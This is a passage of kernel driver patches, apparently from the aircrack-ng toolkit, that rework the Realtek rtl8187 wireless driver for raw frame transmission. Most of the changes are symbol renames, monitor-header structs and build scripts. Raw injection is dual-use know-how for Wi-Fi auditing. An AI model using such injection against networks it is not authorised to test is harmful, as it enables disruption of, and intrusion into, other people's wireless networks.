@@ /* Encryption routine will move the header forward in order * to insert the IV between the header and the payload */ if (encrypt) - ieee80211_encrypt_fragment(ieee, skb_frag, hdr_len); + ieee80211_encrypt_fragment_rtl7(ieee, skb_frag, hdr_len); if (ieee->config & (CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS)) skb_put(skb_frag, 4); @@ -458,13 +463,14 @@ ieee->seq_ctrl++; //--- }else{ - if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { +// if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { + if (unlikely(skb->len < 14)) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - txb = ieee80211_alloc_txb(1, skb->len, GFP_ATOMIC); + txb = ieee80211_alloc_txb_rtl7(1, skb->len, GFP_ATOMIC); if(!txb){ printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); @@ -481,14 +487,14 @@ dev_kfree_skb_any(skb); if (txb) { if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE){ - ieee80211_softmac_xmit(txb, ieee); + ieee80211_softmac_xmit_rtl7(txb, ieee); }else{ if ((*ieee->hard_start_xmit)(txb, dev) == 0) { stats->tx_packets++; stats->tx_bytes += txb->payload_size; return 0; } - ieee80211_txb_free(txb); + ieee80211_txb_free_rtl7(txb); } @@ -504,4 +510,4 @@ } -EXPORT_SYMBOL(ieee80211_txb_free); +EXPORT_SYMBOL(ieee80211_txb_free_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_wx.c rtl8187_rawtx/ieee80211/ieee80211_wx.c --- rtl8187_orig/ieee80211/ieee80211_wx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_wx.c 2007-06-08 23:30:47.000000000 +0200 @@ -40,7 +40,7 @@ }; #define MAX_CUSTOM_LEN 64 -static inline char *ipw2100_translate_scan(struct ieee80211_device *ieee, +static inline char *ipw2100_translate_scan_rtl7(struct ieee80211_device *ieee, char *start, char *stop, struct ieee80211_network *network) { @@ -207,7 +207,7 @@ return start; } -int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -220,13 +220,14 @@ IEEE80211_DEBUG_WX("Getting scan\n"); down(&ieee->wx_sem); + printk("GOT WX GET SCAN WX_SEM LOCK"); spin_lock_irqsave(&ieee->lock, flags); list_for_each_entry(network, &ieee->network_list, list) { i++; if (ieee->scan_age == 0 || time_after(network->last_scanned + ieee->scan_age, jiffies)) - ev = ipw2100_translate_scan(ieee, ev, stop, network); + ev = ipw2100_translate_scan_rtl7(ieee, ev, stop, network); else IEEE80211_DEBUG_SCAN( "Not showing network '%s (" @@ -247,7 +248,7 @@ return 0; } -int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -281,7 +282,7 @@ if (key_provided && *crypt) { IEEE80211_DEBUG_WX("Disabling encryption on key %d.\n", key); - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } else IEEE80211_DEBUG_WX("Disabling encryption.\n"); @@ -291,7 +292,7 @@ if (ieee->crypt[i] != NULL) { if (key_provided) break; - ieee80211_crypt_delayed_deinit( + ieee80211_crypt_delayed_deinit_rtl7( ieee, &ieee->crypt[i]); } } @@ -314,7 +315,7 @@ strcmp((*crypt)->ops->name, "WEP") != 0) { /* changing to use WEP; deinit previously used algorithm * on this key */ - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } if (*crypt == NULL) { @@ -326,10 +327,10 @@ if (new_crypt == NULL) return -ENOMEM; memset(new_crypt, 0, sizeof(struct ieee80211_crypt_data)); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); if (!new_crypt->ops) { - request_module("ieee80211_crypt_wep"); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + request_module("ieee80211_crypt_wep_rtl"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); } if (new_crypt->ops && try_module_get(new_crypt->ops->owner)) @@ -340,7 +341,7 @@ new_crypt = NULL; printk(KERN_WARNING "%s: could not initialize WEP: " - "load module ieee80211_crypt_wep\n", + "load module ieee80211_crypt_wep_rtl\n", dev->name); return -EOPNOTSUPP; } @@ -418,7 +419,7 @@ return 0; } -int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -430,7 +431,7 @@ if(ieee->iw_mode == IW_MODE_MONITOR) return -1; - + key = erq->flags & IW_ENCODE_INDEX; if (key) { if (key > WEP_KEYS) @@ -470,6 +471,6 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_scan); -EXPORT_SYMBOL(ieee80211_wx_set_encode); -EXPORT_SYMBOL(ieee80211_wx_get_encode); +EXPORT_SYMBOL(ieee80211_wx_get_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_encode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_encode_rtl7); diff -Naur rtl8187_orig/ieee80211/Makefile rtl8187_rawtx/ieee80211/Makefile --- rtl8187_orig/ieee80211/Makefile 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/Makefile 2007-05-27 10:47:26.000000000 +0200 @@ -17,6 +17,7 @@ KVER := $(shell uname -r) KSRC := /lib/modules/$(KVER)/build INSTALL_PREFIX := +PWD = $(shell pwd) all: modules diff -Naur rtl8187_orig/ieee80211/Modules.symvers rtl8187_rawtx/ieee80211/Modules.symvers --- rtl8187_orig/ieee80211/Modules.symvers 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/Modules.symvers 1970-01-01 01:00:00.000000000 +0100 @@ -1,43 +0,0 @@ -0x232e7944 ieee80211_wlan_frequencies /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xaeae102f free_ieee80211_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0x279e265f ieee80211_crypt_deinit_handler net/ieee80211/ieee80211_crypt -0xc2411d91 ieee80211_stop_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6ece20e1 ieee80211_wx_get_name_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0x5d3847ff ieee80211_rx_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x18612027 ieee80211_wx_get_scan_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xa0e03ce1 ieee80211_wx_get_name /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xee25f349 ieee80211_wx_get_mode /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x86013c3d ieee80211_wx_set_mode /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x04493cc0 ieee80211_wx_get_rate /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6c6df3b4 ieee80211_wx_set_rate /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x82caec02 ieee80211_crypt_deinit_entries net/ieee80211/ieee80211_crypt -0x347945bf ieee80211_wx_get_power /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6379d455 ieee80211_wx_set_power /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xae62ed59 ieee80211_wx_set_scan /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6621e172 ieee80211_wx_set_freq /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x0e052e06 ieee80211_wx_get_freq /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x283f9f5d ieee80211_unregister_crypto_ops net/ieee80211/ieee80211_crypt -0x9da79aac ieee80211_is_shortslot /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x666032dc ieee80211_wx_get_wap /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x9f1cbe0e ieee80211_wx_set_wap /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x73d1d341 ieee80211_wx_set_rawtx /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x2c714184 ieee80211_is_54g /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6892d598 ieee80211_wpa_supplicant_ioctl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xc062f1f5 ieee80211_ps_tx_ack /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x55534906 ieee80211_get_beacon /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xe2679638 ieee80211_crypt_delayed_deinit net/ieee80211/ieee80211_crypt -0x3a0456bc free_ieee80211 net/ieee80211/ieee80211 -0x7e1ef2c8 ieee80211_wake_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xc1b81e9f ieee80211_register_crypto_ops net/ieee80211/ieee80211_crypt -0x3f795a39 alloc_ieee80211 net/ieee80211/ieee80211 -0x89803c23 ieee80211_get_crypto_ops net/ieee80211/ieee80211_crypt -0xc6caf2a4 ieee80211_txb_free net/ieee80211/ieee80211 -0x49c1422c ieee80211_rx_mgt net/ieee80211/ieee80211 -0xbf2b4ebd alloc_ieee80211_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0xd155f7b8 ieee80211_softmac_stop_protocol /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x9ce2dcde ieee80211_softmac_start_protocol /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x00d74bba ieee80211_wx_get_encode_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x92b5d996 ieee80211_wx_set_encode_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x2ac9bf95 ieee80211_wx_set_essid /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x7dc92e7f ieee80211_wx_get_essid /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xd04740ca ieee80211_reset_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl diff -Naur rtl8187_orig/Makefile rtl8187_rawtx/Makefile --- rtl8187_orig/Makefile 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_rawtx/Makefile 2007-06-21 23:43:15.000000000 +0200 @@ -0,0 +1,39 @@ +prefix = /lib/modules/$(shell uname -r)/kernel/drivers/net/wireless +r8187dir = $(prefix)/rtl8187 +ieeedir = $(prefix)/rtl_ieee80211 + +default: all + +all: + -rm -f ieee80211/Module.symvers 2>/dev/null + -rm -f ieee80211/Modules.symvers 2>/dev/null + $(MAKE) -C ieee80211 $(@) + -chmod +x symvers + -./symvers + $(MAKE) -C beta-8187 $(@) + +install: + install -d $(ieeedir) + install -d $(r8187dir) + install -m 644 ./ieee80211/*.ko $(ieeedir) + install -m 644 ./beta-8187/*.ko $(r8187dir) + -find /lib/modules/$(shell uname -r) -name rtl8187.ko -exec mv -v {} ~/ \; + -depmod -ae + +uninstall: + -rm -f $(ieeedir)/ieee80211-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_ccmp-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_tkip-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_wep-rtl.ko + -rm -f $(r8187dir)/r8187.ko + -rm -fr $(ieeedir) + -rm -fr $(r8187dir) + -depmod -ae + +clean: + $(MAKE) -C ieee80211 $(@) + $(MAKE) -C beta-8187 $(@) + +distclean: clean + diff -Naur rtl8187_orig/symvers rtl8187_rawtx/symvers --- rtl8187_orig/symvers 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_rawtx/symvers 2007-05-26 10:39:22.000000000 +0200 @@ -0,0 +1,25 @@ +#!/bin/sh + +cd beta-8187 + +if [ -e Module.symvers ] +then + rm Module.symvers +fi + +if [ -e Modules.symvers ] +then + rm Modules.symvers +fi + +if [ -e ../ieee80211/Module.symvers ] +then + ln -sf ../ieee80211/Module.symvers ./ +fi + +if [ -e ../ieee80211/Modules.symvers ] +then + ln -sf ../ieee80211/Modules.symvers ./ +fi + +cd .. diff -Naur rtl8187_orig/wlan0rmv rtl8187_rawtx/wlan0rmv --- rtl8187_orig/wlan0rmv 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/wlan0rmv 2007-06-26 16:32:43.000000000 +0200 @@ -1,5 +1,9 @@ #!/bin/bash -rmmod r8180 -rmmod ieee80211_r8180 -rmmod ieee80211_crypt_r8180 +rmmod rtl8187 2>/dev/null +rmmod r8187 2>/dev/null +rmmod ieee80211_rtl 2>/dev/null +rmmod ieee80211_crypt_ccmp_rtl 2>/dev/null +rmmod ieee80211_crypt_tkip_rtl 2>/dev/null +rmmod ieee80211_crypt_wep_rtl 2>/dev/null +rmmod ieee80211_crypt_rtl 2>/dev/null aircrack-ng-1.1/patches/old/rtl8187_2.6.24v2.patch0000644000000000000000000154751310761053203017707 0ustar rootrootdiff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/ieee80211_crypt.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/ieee80211_crypt.h --- rtl8187_linux_26.1010.0622.2006/beta-8187/ieee80211_crypt.h 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/ieee80211_crypt.h 2008-01-30 17:38:10.000000000 +0100 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/ieee80211.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/ieee80211.h --- rtl8187_linux_26.1010.0622.2006/beta-8187/ieee80211.h 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/ieee80211.h 2008-01-30 17:38:10.000000000 +0100 @@ -120,7 +120,7 @@ static inline unsigned long msleep_interruptible_rtl(unsigned int msecs) { unsigned long timeout = MSECS(msecs) + 1; - + while (timeout) { set_current_state(TASK_UNINTERRUPTIBLE); timeout = schedule_timeout(timeout); @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -798,7 +814,7 @@ /* the card is not linked at all */ IEEE80211_NOLINK = 0, - + /* IEEE80211_ASSOCIATING* are for BSS client mode * the driver shall not perform RX filtering unless * the state is LINKED. @@ -806,31 +822,31 @@ * defaults to NOLINK for ALL the other states (including * LINKED_SCANNING) */ - + /* the association procedure will start (wq scheduling)*/ IEEE80211_ASSOCIATING, IEEE80211_ASSOCIATING_RETRY, - + /* the association procedure is sending AUTH request*/ IEEE80211_ASSOCIATING_AUTHENTICATING, - + /* the association procedure has successfully authentcated * and is sending association request */ IEEE80211_ASSOCIATING_AUTHENTICATED, - + /* the link is ok. the card associated to a BSS or linked * to a ibss cell or acting as an AP and creating the bss */ IEEE80211_LINKED, - + /* same as LINKED, but the driver shall apply RX filter * rules as we are in NO_LINK mode. As the card is still * logically linked, but it is doing a syncro site survey * then it will be back to LINKED state. */ IEEE80211_LINKED_SCANNING, - + }; #define DEFAULT_MAX_SCAN_AGE (15 * HZ) @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -870,7 +886,7 @@ struct net_device_stats stats; struct ieee80211_stats ieee_stats; struct ieee80211_softmac_stats softmac_stats; - + /* Probe / Beacon management */ struct list_head network_free_list; struct list_head network_list; @@ -881,7 +897,7 @@ int iw_mode; /* operating mode (IW_MODE_*) */ spinlock_t lock; - + int tx_headroom; /* Set to size of any additional room needed at front * of allocated Tx SKBs */ u32 config; @@ -924,11 +940,11 @@ * ad-hoc is a mixture ;-). * Note that in infrastructure mode, even when not associated, * fields bssid and essid may be valid (if wpa_set and essid_set - * are true) as thy carry the value set by the user via iwconfig + * are true) as thy carry the value set by the user via iwconfig */ struct ieee80211_network current_network; - + enum ieee80211_state state; int short_slot; @@ -936,33 +952,33 @@ int modulation; /* CCK, OFDM */ int freq_band; /* 2.4Ghz, 5.2Ghz, Mixed */ int abg_true; /* ABG flag */ - - /* used for forcing the ibss workqueue to terminate + + /* used for forcing the ibss workqueue to terminate * without wait for the syncro scan to terminate */ - short sync_scan_hurryup; - + short sync_scan_hurryup; + /* map of allowed channels. 0 is dummy */ // FIXME: remeber to default to a basic channel plan depending of the PHY type int channel_map[MAX_CHANNEL_NUMBER+1]; - + int rate; /* current rate */ int basic_rate; //FIXME: pleace callback, see if redundant with softmac_features short active_scan; - + /* this contains flags for selectively enable softmac support */ u16 softmac_features; - + /* if the sequence control field is not filled by HW */ u16 seq_ctrl; - + /* association procedure transaction sequence number */ u16 associate_seq; - + /* AID for RTXed association responses */ u16 assoc_id; - + /* power save mode related*/ short ps; short sta_sleep; @@ -970,147 +986,153 @@ struct tasklet_struct ps_task; u32 ps_th; u32 ps_tl; - + short raw_tx; /* used if IEEE_SOFTMAC_TX_QUEUE is set */ short queue_stop; short scanning; short proto_started; - + struct semaphore wx_sem; struct semaphore scan_sem; - - spinlock_t mgmt_tx_lock; + + spinlock_t mgmt_tx_lock; spinlock_t beacon_lock; short beacon_txing; short wap_set; short ssid_set; - + /* for discarding duplicated packets in IBSS */ struct list_head ibss_mac_hash[IEEE_IBSS_MAC_HASH_SIZE]; - + /* for discarding duplicated packets in BSS */ u16 last_seq_num; u16 last_frag_num; unsigned long last_packet_time; - + /* for PS mode */ unsigned long last_rx_ps_time; - + /* used if IEEE_SOFTMAC_SINGLE_QUEUE is set */ struct sk_buff *mgmt_queue_ring[MGMT_QUEUE_NUM]; int mgmt_queue_head; int mgmt_queue_tail; - - + + /* used if IEEE_SOFTMAC_TX_QUEUE is set */ struct tx_pending_t tx_pending; - + /* used if IEEE_SOFTMAC_ASSOCIATE is set */ struct timer_list associate_timer; /* used if IEEE_SOFTMAC_BEACONS is set */ struct timer_list beacon_timer; - + struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; - + struct workqueue_struct *wq; /* Callback functions */ void (*set_security)(struct net_device *dev, struct ieee80211_security *sec); - + /* Used to TX data frame by using txb structs. * this is not used if in the softmac_features * is set the flag IEEE_SOFTMAC_TX_QUEUE */ int (*hard_start_xmit)(struct ieee80211_txb *txb, struct net_device *dev); - + int (*reset_port)(struct net_device *dev); - /* Softmac-generated frames (mamagement) are TXed via this - * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is - * not set. As some cards may have different HW queues that + /* Softmac-generated frames (mamagement) are TXed via this + * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is + * not set. As some cards may have different HW queues that * one might want to use for data and management frames * the option to have two callbacks might be useful. * This fucntion can't sleep. */ int (*softmac_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev); - + /* used instead of hard_start_xmit (not softmac_hard_start_xmit) * if the IEEE_SOFTMAC_TX_QUEUE feature is used to TX data * frames. I the option IEEE_SOFTMAC_SINGLE_QUEUE is also set * then also management frames are sent via this callback. * This function can't sleep. - */ + */ void (*softmac_data_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev,int rate); /* stops the HW queue for DATA frames. Useful to avoid * waste time to TX data frame when we are reassociating * This function can sleep. - */ + */ void (*data_hard_stop)(struct net_device *dev); - + /* OK this is complementar to data_poll_hard_stop */ void (*data_hard_resume)(struct net_device *dev); - + /* ask to the driver to retune the radio . * This function can sleep. the driver should ensure * the radio has been swithced before return. */ void (*set_chan)(struct net_device *dev,short ch); - + /* These are not used if the ieee stack takes care of - * scanning (IEEE_SOFTMAC_SCAN feature set). + * scanning (IEEE_SOFTMAC_SCAN feature set). * In this case only the set_chan is used. * * The syncro version is similar to the start_scan but * does not return until all channels has been scanned. - * this is called in user context and should sleep, + * this is called in user context and should sleep, * it is called in a work_queue when swithcing to ad-hoc mode - * or in behalf of iwlist scan when the card is associated - * and root user ask for a scan. + * or in behalf of iwlist scan when the card is associated + * and root user ask for a scan. * the fucntion stop_scan should stop both the syncro and * background scanning and can sleep. - * The fucntion start_scan should initiate the background + * The fucntion start_scan should initiate the background * scanning and can't sleep. - */ + */ void (*scan_syncro)(struct net_device *dev); void (*start_scan)(struct net_device *dev); void (*stop_scan)(struct net_device *dev); - + /* indicate the driver that the link state is changed * for example it may indicate the card is associated now. - * Driver might be interested in this to apply RX filter - * rules or simply light the LINK led + * Driver might be interested in this to apply RX filter + * rules or simply light the LINK led */ void (*link_change)(struct net_device *dev); - + /* these two function indicates to the HW when to start - * and stop to send beacons. This is used when the + * and stop to send beacons. This is used when the * IEEE_SOFTMAC_BEACONS is not set. For now the * stop_send_bacons is NOT guaranteed to be called only * after start_send_beacons. */ void (*start_send_beacons) (struct net_device *dev); void (*stop_send_beacons) (struct net_device *dev); - + /* power save mode related */ void (*sta_wake_up) (struct net_device *dev); void (*ps_request_tx_ack) (struct net_device *dev); void (*enter_sleep_state) (struct net_device *dev, u32 th, u32 tl); short (*ps_is_queue_empty) (struct net_device *dev); - - + + /* This must be the last item so that it points to the data * allocated beyond this structure by alloc_ieee80211 */ u8 priv[0]; @@ -1148,18 +1170,18 @@ #define IEEE_SOFTMAC_SINGLE_QUEUE (1<<8) /* Generate beacons. The stack will enqueue beacons - * to the card - */ + * to the card + */ #define IEEE_SOFTMAC_BEACONS (1<<6) -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); - -extern int ieee80211_xmit(struct sk_buff *skb, + +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void 